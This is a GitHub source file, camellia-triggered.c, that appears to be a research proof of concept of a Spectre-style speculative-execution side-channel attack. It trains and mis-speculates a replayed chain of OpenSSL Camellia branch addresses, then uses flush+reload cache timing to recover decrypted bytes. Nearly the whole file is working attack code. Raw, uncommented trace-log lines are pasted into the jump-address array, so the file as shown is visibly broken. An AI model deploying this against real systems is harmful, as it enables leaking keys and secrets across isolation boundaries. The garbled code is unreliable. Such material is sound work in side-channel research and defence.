-
Notifications
You must be signed in to change notification settings - Fork 4
/
camellia-triggered.c
585 lines (493 loc) · 20.1 KB
/
camellia-triggered.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <signal.h>
#include <x86intrin.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include "common.h"
// Defines the bandwidth we can communicate
// from speculative -> von neuman
// e.g. 256 would be 1 byte of info
// Tradeoff here is larger bandwidth means we have
// to check more places in probe_buf (and flush them)
#define NUM_PROBES 256
#define DECRYPT_LEN 256
// These define the stride length we take between probes
// This thwarts a clever CPU's stride prediction
// (e.g. "you loaded buf[0], buf[1024], I'll load buf[2048] for you")
// Generally, this results in not seeing ANY winning probes
// in which case, we change cur_probe_space and retry
#define MAX_PROBE_SPACE (1000003)
double avgpct = 0;
uint64_t __attribute__((section(".cur_probe_space"))) cur_probe_space = 4177;
// The (heap-allocated) probe buffer
// We'll have NUM_PROBES in this, and use &probe_buf[i*cur_probe_space]
// in the cache to communicate the value i from speculative -> von neuman
uint8_t __attribute__((section(".probe_buf"))) *probe_buf;
// This is a simple counter, accessed by the speculative function (target_fn)
// so it can compute on it.
uint16_t signal_idx = 0;
uint64_t instr = 0;
// Stats
uint64_t cache_hits = 0; // Number cache hits (<140 cycles read)
uint64_t tot_runs = 0; // Number of trials (i.e. 10k)
uint64_t tot_time = 0; // Number cycles total
unsigned int junk=0; // For rdtscp
void *map;
#define TARGET_FN_ADDR 0x414100401000
typedef struct jump_st {
uint64_t from;
uint64_t to;
} jump;
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define NUM_JUMPS 16
inline void call(void *fn_ptr) __attribute__((always_inline));
void call(void* fn_ptr) {
asm volatile ("jmpq *%%rax\n" :: "a"(fn_ptr) :);
}
inline void push(uint64_t val) __attribute__((always_inline));
void push(uint64_t val) {
asm volatile ("push %%rax\n" :: "a"(val):);
}
uint64_t loaded_pages[MAX_PAGES];
int loaded_pages_idx = 0;
jump jump_addrs[NUM_JUMPS] = {
/*
{0x7ffff785a926, 0x7ffff785c261}, // retq
{0x7ffff785ae37, 0x7ffff785c277}, // retq
{0x7ffff785a74b, 0x7ffff785c28f}, // retq
{0x7ffff785a74b, 0x7ffff785c2a2}, // retq
{0x7ffff785abfc, 0x7ffff785c2b5}, // retq
{0x7ffff785ae37, 0x7ffff785c2cd}, // retq
{0x7ffff785a34a, 0x7ffff785c2e3}, // retq
{0x7ffff785a27e, 0x7ffff785c2f3}, // retq
{0x7ffff785a74b, 0x7ffff785ac1d}, // retq
{0x7ffff785a74b, 0x7ffff785ac28}, // retq
{0x7ffff785abfc, 0x7ffff785ac36}, // retq
{0x7ffff785ac40, 0x7ffff785c3c5}, // retq
{0x7ffff785ae37, 0x7ffff785c3d0}, // retq
{0x7ffff785a74b, 0x7ffff785c3e3}, // retq
{0x7ffff785a926, 0x7ffff785c3f3}, // retq
{0x7ffff785ae37, 0x7ffff785c3ff}, // retq
{0x7ffff785a34a, 0x7ffff785c4b7}, // retq
{0x7ffff785a27e, 0x7ffff785c4c9}, // retq
{0x7ffff785a27e, 0x7ffff785c538}, // retq
{0x7ffff785a74b, 0x7ffff785c543}, // retq
{0x7ffff785a926, 0x7ffff785c54e}, // retq
{0x7ffff785ae37, 0x7ffff785c55e}, // retq
{0x7ffff785a34a, 0x7ffff785c569}, // retq
{0x7ffff785a41a, 0x7ffff785c61d}, // retq
{0x7ffff785a74b, 0x7ffff785c628}, // retq
{0x7ffff785abfc, 0x7ffff785c638}, // retq
{0x7ffff785a926, 0x7ffff785c645}, // retq
{0x7ffff785a5f0, 0x7ffff785c798}, // retq
{0x7ffff785ae37, 0x7ffff785c847}, // retq
{0x7ffff785c858, 0x7ffff785ea59}, // retq
{0x7ffff785a74b, 0x7ffff785c22a}, // retq
*/
// in openssl-accept.repeats2}, //254 repeats (line 14491502):
// part of EC_GFp_nistp224_method()
/*
{0x7ffff785a74b, 0x7ffff785c256}, // retq
{0x7ffff785a926, 0x7ffff785c261}, // retq
{0x7ffff785ae37, 0x7ffff785c277}, // retq
{0x7ffff785a74b, 0x7ffff785c28f}, // retq
{0x7ffff785a74b, 0x7ffff785c2a2}, // retq
{0x7ffff785abfc, 0x7ffff785c2b5}, // retq
{0x7ffff785ae37, 0x7ffff785c2cd}, // retq
{0x7ffff785a34a, 0x7ffff785c2e3}, // retq
{0x7ffff785a27e, 0x7ffff785c2f3}, // retq
{0x7ffff785a74b, 0x7ffff785ac1d}, // retq
{0x7ffff785a74b, 0x7ffff785ac28}, // retq
{0x7ffff785abfc, 0x7ffff785ac36}, // retq
{0x7ffff785ac40, 0x7ffff785c3c5}, // retq
{0x7ffff785ae37, 0x7ffff785c3d0}, // retq
{0x7ffff785a74b, 0x7ffff785c3e3}, // retq
*/
/*
{0x7ffff785a926, 0x7ffff785c3f3}, // retq
{0x7ffff785ae37, 0x7ffff785c3ff}, // retq
{0x7ffff785a34a, 0x7ffff785c4b7}, // retq
{0x7ffff785a27e, 0x7ffff785c4c9}, // retq
{0x7ffff785a27e, 0x7ffff785c538}, // retq
{0x7ffff785a74b, 0x7ffff785c543}, // retq
{0x7ffff785a926, 0x7ffff785c54e}, // retq
{0x7ffff785ae37, 0x7ffff785c55e}, // retq
{0x7ffff785a34a, 0x7ffff785c569}, // retq
{0x7ffff785a41a, 0x7ffff785c61d}, // retq
{0x7ffff785a74b, 0x7ffff785c628}, // retq
{0x7ffff785abfc, 0x7ffff785c638}, // retq
{0x7ffff785a926, 0x7ffff785c645}, // retq
{0x7ffff785a5f0, 0x7ffff785c798}, // retq
{0x7ffff785ae37, 0x7ffff785c847}, // retq
{0x7ffff785c858, 0x7ffff785ea59}, // retq
*/
//*/
/*
// CAMELLIA256-SHA / EVP_MD_CTX_init...
{0x7ffff780d32d, 0x7ffff780d3ff}, // retq
{0x7ffff788a28b, 0x7ffff788a3b1}, // retq
{0x7ffff77fedad, 0x7ffff77fe8f0}, // callq *0x36d5f5(%rip) # 0x7ffff7b6c3a8
{0x7ffff77fe8f7, 0x7ffff7458a80}, // jmpq *%rax
{0x7ffff745687e, 0x7ffff7458ae0}, // retq
{0x7ffff7458b29, 0x7ffff77fedb3}, // retq
{0x7ffff77fede3, 0x7ffff788a513}, // retq
{0x7ffff77fdb40, 0x7ffff7470a30}, // jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
{0x7ffff7470a71, 0x7ffff788a40a}, // retq
{0x7ffff788a495, 0x7ffff780cc39}, // retq
{0x7ffff788a28b, 0x7ffff788a3b1}, // retq
{0x7ffff77fedad, 0x7ffff77fe8f0}, // callq *0x36d5f5(%rip) # 0x7ffff7b6c3a8
{0x7ffff77fe8f7, 0x7ffff7458a80}, // jmpq *%rax
{0x7ffff745687e, 0x7ffff7458ae0}, // retq
{0x7ffff7458b29, 0x7ffff77fedb3}, // retq
{0x7ffff77fede3, 0x7ffff788a513}, // retq
{0x7ffff77fdb40, 0x7ffff7470a30}, // jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
{0x7ffff7470a71, 0x7ffff788a40a}, // retq
{0x7ffff788a495, 0x7ffff780cc5d}, // retq
{0x7ffff788a28b, 0x7ffff788a3b1}, // retq
{0x7ffff77fedad, 0x7ffff77fe8f0}, // callq *0x36d5f5(%rip) # 0x7ffff7b6c3a8
{0x7ffff77fe8f7, 0x7ffff7458a80}, // jmpq *%rax
{0x7ffff745687e, 0x7ffff7458ae0}, // retq
{0x7ffff7458b29, 0x7ffff77fedb3}, // retq
{0x7ffff77fede3, 0x7ffff788a513}, // retq
{0x7ffff77fdb40, 0x7ffff7470a30}, // jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
{0x7ffff7470a71, 0x7ffff788a40a}, // retq
{0x7ffff788a495, 0x7ffff780cc6e}, // retq
{0x7ffff780cc45, 0x7ffff780d437}, // retq
{0x7ffff780d407, 0x7ffff789730b}, // retq
{0x7ffff7897318, 0x7ffff788a420}, // retq
//*/
*/
// ~50 repeats...
92217 0x7ffff7877a7d -> 0x7ffff788a070: retq
92239 0x7ffff7889fb2 -> 0x7ffff7891030: jmpq *%rax
92277 0x7ffff78063ea -> 0x7ffff78869fe: retq
92289 0x7ffff788a144 -> 0x7ffff7891020: jmpq *%rax
92327 0x7ffff77fdb40 -> 0x7ffff7470a30: jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
92343 0x7ffff7470a71 -> 0x7ffff7806113: retq
92350 0x7ffff7806120 -> 0x7ffff7886a28: retq
92357 0x7ffff788a144 -> 0x7ffff7891020: jmpq *%rax
92394 0x7ffff77fdb40 -> 0x7ffff7470a30: jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
92411 0x7ffff7470a71 -> 0x7ffff78061a7: retq
92420 0x7ffff7806120 -> 0x7ffff7886a3e: retq
92433 0x7ffff788a144 -> 0x7ffff7891020: jmpq *%rax
92470 0x7ffff77fdb40 -> 0x7ffff7470a30: jmpq *0x36e68a(%rip) # 0x7ffff7b6c1d0
92487 0x7ffff7470a71 -> 0x7ffff78061a7: retq
92496 0x7ffff7806120 -> 0x7ffff7886c6a: retq
92515 0x7ffff788a16c -> 0x7ffff7891010: callq *0x28(%rax)
// 148 repeats
539442 0x7ffff783929d -> 0x7ffff783a390: retq
539478 0x7ffff7838bd2 -> 0x7ffff783a3e2: retq
539487 0x7ffff783a3f2 -> 0x7ffff783daab: retq
539544 0x7ffff783f728 -> 0x7ffff7834718: retq
539561 0x7ffff78347a3 -> 0x7ffff7834b15: retq
539568 0x7ffff7834b24 -> 0x7ffff783dac1: retq
539653 0x7ffff7838ab2 -> 0x7ffff7834d40: retq
539707 0x7ffff7838036 -> 0x7ffff7838c45: retq
539715 0x7ffff7838c56 -> 0x7ffff7834d48: retq
539770 0x7ffff7838036 -> 0x7ffff7838c45: retq
539778 0x7ffff7838c56 -> 0x7ffff7834d53: retq
539833 0x7ffff7838036 -> 0x7ffff7838c45: retq
539841 0x7ffff7838c56 -> 0x7ffff7834d5f: retq
539878 0x7ffff7837af1 -> 0x7ffff7837bd6: retq
539881 0x7ffff7837bd9 -> 0x7ffff7834da4: retq
540325 0x7ffff77fd9f0 -> 0x7ffff74628d0: jmpq *0x36e732(%rip) # 0x7ffff7b6c128
};
void load_page(uint64_t addr)
{
uint64_t page = addr & ~(PAGE_SIZE-1);
int i;
for (i=0; i<loaded_pages_idx; i++) {
if (loaded_pages[i] == page) {
// Already loaded
return;
}
}
loaded_pages[loaded_pages_idx++] = page;
void *map = mmap((void*)page, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if (map == ((void*)-1)) {
printf("Error mapping %lx (page %lx):\n", addr, page);
perror("mmap");
exit(-1);
}
printf("Mapped %p -> %p\n", (void*)page, map);
// Fill with returns:
memset(map, '\xc3', PAGE_SIZE);
}
// We define this function in assembly (target_fn.S)
// It is never called directly (essentially dead code)
// However, indirect.c trains the processor to think the indirect
// jump in common.c::indirect() is going to call this function
// We flush the fn_ptr used by indirect(), forcing the CPU to
// (mis)speculate and start processing this function.
// In reality, the CPU will (eventually) call check_probes()
// where we collect results and see what's in cache
void target_fn(void) __attribute__((section(".targetfn")));
void end_target_fn(void);
uint64_t results[NUM_PROBES];
void check_probes() {
// Because indirect_camellia pushed rbx and rbp,
// we have to pop them here to restore the stack
// (and then we re-push them...)
//asm volatile("pop %%rbx\n"
// "pop %%rbp\n" :::);
uint64_t t0, t1;
uint8_t *addr;
int i, mix_i;
for (i=0; i<NUM_PROBES; i++) {
//mix_i = ((i*13) + 7) & 15;
mix_i = i;
addr = &probe_buf[mix_i*cur_probe_space];
t0 = _rdtscp(&junk);
asm volatile( "movb (%%rbx), %%al\n"
:: "b"(addr) : "rax");
t1 = _rdtscp(&junk);
if (t1-t0 < 140) {
cache_hits++;
tot_time += t1-t0;
results[mix_i]++;
//printf("# %lu\n", t1-t0);
//_mm_clflush(addr);
}
}
tot_runs++;
// Clear probe_buf from cache
for (i=0; i<NUM_PROBES; i++) {
_mm_clflush(&probe_buf[i*cur_probe_space]);
}
//usleep(100);
}
typedef void (*fn_ptr_t)(void);
uint64_t jmp_ptr;
fn_ptr_t *fn_ptr_ptr; // This is a pointer that when dereferenced
// will yield a void (*)(void) that points to check_probes.
// Now we can move this around (malloc each time)
void indirect_camellia(register uint64_t *jmp_ptr) {
// prologue stores these on stack, but we don't want em
//asm volatile("pop %%rbx\n"
// "pop %%rbp\n" :::);
// First, push where we want to come back to:
// Note: check_probes will do a normal return,
// but it's never called (it's returned into
// after the speculative head fake).
// That's ok, because this function's return address
// will be on the stack, and check_probes() will
// consume it.
register int i;
//void *ret = check_probes;
//push((uint64_t)ret);
// To test:
// Maybe we want a cached-copy of this value?
//push((uint64_t)fn_ptr);
//asm volatile ("push %%rax\n" :: "a"(fn_ptr):);
//asm volatile ("push %%rax\n" :: "a"(0x7ffff788a420):);
asm volatile ("push %%rax\n" :: "a"(&&done_jumps):);
for (i=NUM_JUMPS-2; i>=0; i--) {
//push(jump_addrs[i].to);
//register addr;
asm volatile ("push %%rax\n" :: "a"(jump_addrs[i].to):);
}
/*
asm volatile ("mov $2, %%rax\n"
"cmpb $0x02, %%al\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n"
"je .+2\n" ::: "rax");
*/
// Do something slow to stall the pipeline???
// Call the first thing in the jump chain
//call((void (*)(void))jump_addrs[0].from);
asm volatile (//"add (%%rcx), %%rax\n"
"jmpq *%%rax\n" :: "a"(jump_addrs[0].from), "c"(jmp_ptr):);
//*/
//asm volatile ("jmpq *%%rax\n" :: "a"(jump_addrs[0].from):);
done_jumps:
asm volatile("nop\n":::);
//asm volatile ("add (%%rcx), %%rax\n" :: "c"(jmp_ptr));
//(*fn_ptr)();
//t0 = _rdtscp(&junk);
//fn_ptr = *fn_ptr_ptr;
//t1 = _rdtscp(&junk);
//printf("%d\n", t1-t0);
//(**fn_ptr_ptr)();
//(*(void(*)(void))(jump_addrs[NUM_JUMPS-1].to))();
}
void (*fn_ptr)(void);
void measure() {
fn_ptr = check_probes;
//jmp_ptr = 0x400e60;
jmp_ptr = 0;
int i;
int misses = 0;
uint64_t last_i = 0xff;
while (1) {
for (i=0; i<15000; i++) {
_mm_clflush(fn_ptr);
_mm_clflush(&fn_ptr);
_mm_clflush(&jmp_ptr);
/*
fn_ptr_ptr = malloc(sizeof(void*));
*fn_ptr_ptr = check_probes;
_mm_clflush(fn_ptr_ptr);
*/
indirect_camellia(&jmp_ptr);
usleep(1);
}
uint64_t avg = 0;
if (cache_hits > 0) avg = tot_time/cache_hits;
uint64_t max_res=0, max_i=0;
for (i=0; i<NUM_PROBES; i++) {
if (results[i]>max_res) {
max_res = results[i];
max_i = i;
}
}
if ((max_res > 10 && avg < 50) || (max_res > 2 && avg < 30)){
printf("[%02lx]: %04lu / %lu = %0.5f%% hits, %lu avg cycles, ps %ld, #%03d, %d misses\n",
max_i, max_res, tot_runs, 100*((float)max_res)/tot_runs, avg, cur_probe_space, signal_idx, misses);
avgpct += ((float)max_res)/tot_runs;
/*
if (max_i != ((last_i + 1)&0xff)) {
//printf("---- ERROR: ^^^^^^^^^\n");
//exit(-1);
}//*/
last_i = max_i;
signal_idx++;
instr++;
misses = 0;
if (signal_idx > DECRYPT_LEN) {
avgpct /= DECRYPT_LEN;
avgpct *= 100;
printf("total avg hit rate = %0.5f%%\n", avgpct);
exit(0);
}
} else {
printf("--[%lu]: %lu, %lu avg cycles ps %ld, 13 had: %lu, %lu tot hits\n", max_i, max_res, avg, cur_probe_space, results[13], cache_hits);
/*
for (i=0; i<NUM_PROBES; i++) {
printf(" %d: %d\n", i, results[i]);
}*/
misses++;
cur_probe_space += 63;
cur_probe_space %= MAX_PROBE_SPACE;
}
cache_hits = 0;
tot_runs = 0;
tot_time = 0;
memset(results, 0, sizeof(uint64_t)*NUM_PROBES);
//signal_idx %= NUM_PROBES;
usleep(1000);
}
}
int main()
{
probe_buf = malloc(MAX_PROBE_SPACE*NUM_PROBES);
if (probe_buf == NULL) {
perror("malloc");
return -1;
}
printf("probe_buf @%p\n", probe_buf);
int i =0;
for (i=0; i<NUM_PROBES; i++) {
memset(&probe_buf[i*MAX_PROBE_SPACE], i, MAX_PROBE_SPACE);
_mm_clflush(&probe_buf[i*cur_probe_space]);
}
// Setup of OpenSSL Camellia EVP_MD_CTX_init jumps
uint64_t target = jump_addrs[NUM_JUMPS-1].to;
uint64_t min_diff = jump_addrs[0].to - target;
memset(loaded_pages, 0, sizeof(uint64_t)*MAX_PAGES);
for (i=0; i<NUM_JUMPS-1; i++) {
load_page(jump_addrs[i].from);
load_page(jump_addrs[i].to);
uint64_t target_diff = jump_addrs[i].to - target;
if (target_diff < min_diff) {
min_diff = target_diff;
}
// Write the jump from this .to to the next .from
// get difference - 5 (len(jmpq $xxxx) instruction)
uint8_t *p = (uint8_t*)(jump_addrs[i].to);
int32_t diff = jump_addrs[i+1].from - jump_addrs[i].to;
if (diff > 0 && diff < 5) {
// Fill with nops instead
// a jmpq instruction would overwrite the next
// retq byte...
memset(p, '\x90', diff);
} else {
// Fill with a jump
*p++ = 0xe9; // jumpq
int32_t from = diff - 5;
memcpy(p, &from, 4);
}
}
// The last .from should be filled with:
// 48 8b 04 25 00 00 44 00 mov (0x440000),%rax
// ff d0 callq *%rax
uint8_t stalled_jmp[] = {
0x90, 0x90,
0x90, // nop
0x48, 0x8b, 0x04, 0x25, 0x00, 0x00, 0x44, 0x00, // mov (0x440000),%rax
//0x90, 0x90, // nop, nop
//0x50, // push %rax
0x90,
0x90,
//0xeb, 0x02, // jmp +2
0x90, 0x90, // nop, no
0xff, 0xd0, // callq *%rax
//0xc3, 0x90,
0x90};
memcpy((void*)jump_addrs[NUM_JUMPS-2].to, stalled_jmp, 20);
load_page(jump_addrs[NUM_JUMPS-1].to);
printf("Copying 0x%lx bytes to 0x%08lx...we have 0x%lx bytes of head space\n", end_target_fn-target_fn,
(uint64_t)jump_addrs[NUM_JUMPS-1].to, min_diff);
// Copy the target_fn code into the last jump_addrs[NUM_JUMPS-1].to
// This will hopefully be speculatively called...
memcpy((void*)jump_addrs[NUM_JUMPS-1].to, target_fn, end_target_fn-target_fn);
/*
map = mmap((void*)TARGET_FN_ADDR, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
memcpy(map, indirect, ((uint64_t)end_indirect)-((uint64_t)indirect));
memcpy(map+600, target_fn, end_target_fn-target_fn);
*/
fn_ptr = check_probes;
measure();
}